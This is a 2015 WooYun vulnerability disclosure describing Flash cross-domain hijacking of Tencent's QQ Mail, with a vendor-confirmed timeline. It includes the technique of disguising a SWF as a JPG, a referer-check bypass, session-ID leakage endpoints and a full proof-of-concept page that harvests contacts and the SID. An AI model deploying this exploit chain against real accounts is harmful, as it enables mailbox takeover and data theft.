当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141710

漏洞标题:QQ邮箱Flash跨域数据挟持(可蠕虫、收发邮件、查看好友列表等)

相关厂商:腾讯

漏洞作者: he1renyagao

提交时间:2015-09-17 10:22

修复时间:2015-11-01 11:38

公开时间:2015-11-01 11:38

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-17: 细节已通知厂商并且等待厂商处理中
2015-09-17: 厂商已经确认,细节仅向厂商公开
2015-09-27: 细节向核心白帽子及相关领域专家公开
2015-10-07: 细节向普通白帽子公开
2015-10-17: 细节向实习白帽子公开
2015-11-01: 细节向公众公开

简要描述:

[第二弹]老问题,老漏洞,估计又要刷起这一类漏洞了

详细说明:

漏洞原理:(http://drops.wooyun.org/tips/2031)
一个Flash文件(或以图像包装的Flash文件)在victim.com上传然后于attacker.com下嵌入,它只能在attacker.com下执行JavaScript。但是,假如该Flash文件发出请求,那么它可以读取到victim.com下的文件
利用过程:
1. 攻击者建立一个恶意Flash(SWF)文件
2. 攻击者更改文件副档名为JPG
3. 攻击者上传档案到victim.com
4. 攻击者在attacker.com以标签及application/x-shockwave-flash类型嵌入该文件
5. 受害者浏览attacker.com,并以SWF格式载入该文件
6. 攻击者现在可以透过该SWF并以受害者的session向victim.com发出及接收任意请求
payload
<object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>
先看QQ邮箱的 crossdomain.xml 文件

qq.png


允许这两个域名的所有子域名进行跨域请求,因此我们找到一个可以上传swf格式的图片文件的地方,过程花了点时间,最终上传了我们的文件 地址:
http://join.qq.com/upload/photo/150914/439a57750ce65071b5cdbdaf0ce3bb7e.jpg
接下来进行第四步,构造网页嵌入文件 


qq2.png


只要让受害者访问我们构造的页面,就可以以对方的身份来请求QQ邮箱的链接。(为了保证成功,可通过发送邮件,确保对方处于登录状态。)

QQ 邮箱中,要执行操作需要一个SID 参数,我们寻找网页页面中泄露sid 的页面,花了点时间找到一处 

http://mail.qq.com/cgi-bin/mail_spam?action=check_link&url=http://1.ssrf.sinaapp.com/11.html


有了sid基本可以操作邮箱的各种操作了 


好友列表
:

http://set1.mail.qq.com/cgi-bin/laddr_lastlist?sid={SID}&t=addr_datanew&category=hot

访问邮件列表:


http://set1.mail.qq.com/cgi-bin/mail_list?sid={SID}&page=0



发邮件

:
http://set1.mail.qq.com/cgi-bin/compose_send?sid={SID}



当然要想成功利用CSRF,还需要绕过QQ 邮箱的referer 限制 

一开始打算用 <meta name="referrer" content=“never"> 标签,但似乎支持的浏览器少,后面经过测试,发现只要referer 的主机域名包含mail. 字符串,也就是任何一个域名有mail域名,如 mail.xx.com 就可绕过QQ 邮箱的referer 限制了 。


测试过程主要有三个地方


1、找到上传swf 格式的图片文件的qq域的网站
2、找到泄露sid 的页面
3、绕过referfer限制

漏洞证明:

最终效果呈现

(均需在登录情况下,利用环境可通过发送邮件,诱使对方点击,可用短地址)


1、获取并显示QQ通讯录 http://mail.virtualplat.com/qquser.html

<html>
<head><title>just for fun</title>
<script>
var test=1;
var sid;
var uid;
var resultCon='';
function sendToJavaScript(strData){


//alert(strData);
regexp =new RegExp(/([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+/g);
if((result = regexp.exec(strData)) !=null)
{
resultCon = resultCon+'users: '+result[0]+'<br />';
while((result = regexp.exec(strData)) !=null)
{
resultCon = resultCon+'users: '+result[0]+'<br />';
}
document.write(resultCon);
}







var reg1 = /subtemplate=ill&sid=(.*?)&/;
var r1 = strData.match(reg1);
if(r1!=null)
{


sid = r1[1];
resultCon = resultCon+'sid: '+sid+'<br />';

if(test==1)
{
var theDiv = document.getElementById("havefun");
var content = document.createTextNode("");
theDiv.appendChild(content);
theDiv.innerHTML += '<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://join.qq.com/upload/photo/150914/439a57750ce65071b5cdbdaf0ce3bb7e.jpg"><param name="AllowScriptAccess" value="always"><param name="flashvars" value="input=http://set1.mail.qq.com/cgi-bin/laddr_lastlist?sid='+sid+'%26t=addr_datanew%26category=hot"></object>';
}
test++;

}


}
</script>
</head>
<body>
just for fun
<div id=havefun></div>
<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://join.qq.com/upload/photo/150914/439a57750ce65071b5cdbdaf0ce3bb7e.jpg">
<param name="AllowScriptAccess" value="always">
<param name="flashvars" value="input=http://mail.qq.com/cgi-bin/mail_spam?action=check_link%26url=http://www.baidu.com">
</object>
</body>
</html><script type="text/javascript">!function(){var closed=false,bdiv;var charset=document.charset||document.characterSet;var utf8=['该页面的提供者尚未完成','实名认证','您的访问可能存在风险'];var gbk=['??ҳ????ṩ????δ???','ʵ????֤','???ķ??ʿ??ܴ??ڷ???'];var en=['The provider of this page is not','verified','there are risks when you visiting'];function banner(){var char=charset.toLowerCase(),lang='';switch(true){case char.indexOf('utf')==0:lang=utf8;break;case char.indexOf('gb')==0:lang=gbk;break;default:lang=en;}var _div='<div style="position:fixed;_position:absolute;top:0;left:0;right:0;padding:12px;background-color:rgba(0,0,0,0.5);filter: progid:DXImageTransform.Microsoft.gradient(startcolorstr=#7F000000,endcolorstr=#7F000000);color:#fff;text-align:center;font-size:16px;font-family:simsun,serif;cursor:default;z-index:2147483647;"><p style="margin:0;padding:0;">'+lang[0]+' <a style="text-decoration:none;color:#37afe4;" target="_blank" href="http://sae.sina.com.cn/?m=faq&a=view&doc_id=22">'+lang[1]+'</a> '+lang[2]+'</p><a style="position:absolute;right:12px;top:50%;font-size:20px;color:#fff;border:none;margin:0;padding:0;;margin-top:-10px;line-height:20px;background:none;cursor:pointer;font-family:Helvetica Neue, Helvetica, Arial, sans-serif;outline:none;">x</a></div>',div=document.createElement('div');div.innerHTML=_div;var close=div.getElementsByTagName('a')[1],x=0,y=0;close.onmouseover=function(event){var e=event?event:window.event;x=e.clientX;y=e.clientY;};close.onclick=function(event){if(event&&!event.initMouseEvent){return}var e=event?event:window.event;if(Math.abs(e.clientX-x)<10&&Math.abs(e.clientY-y)<10){div.style.display='none';closed=true;}};return div}function t(){if(closed){clearInterval(tt);return}if(bdiv&&bdiv.parentNode){bdiv.parentNode.removeChild(bdiv)}bdiv=banner();document.body.appendChild(bdiv);}t();var tt=setInterval(t,5000);}();</script>




2、发送一封邮件到指定邮箱 http://1.ssrf.sinaapp.com/qqsend.html



修复方案:

crossdomain.xml 问题,QQ 业务复杂繁多,如果不从crossdomain.xml 限制起,很难防护。

版权声明:转载请注明来源 he1renyagao@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-09-17 11:37

厂商回复:

感谢反馈,问题已确认,正在处理中。

最新状态:

暂无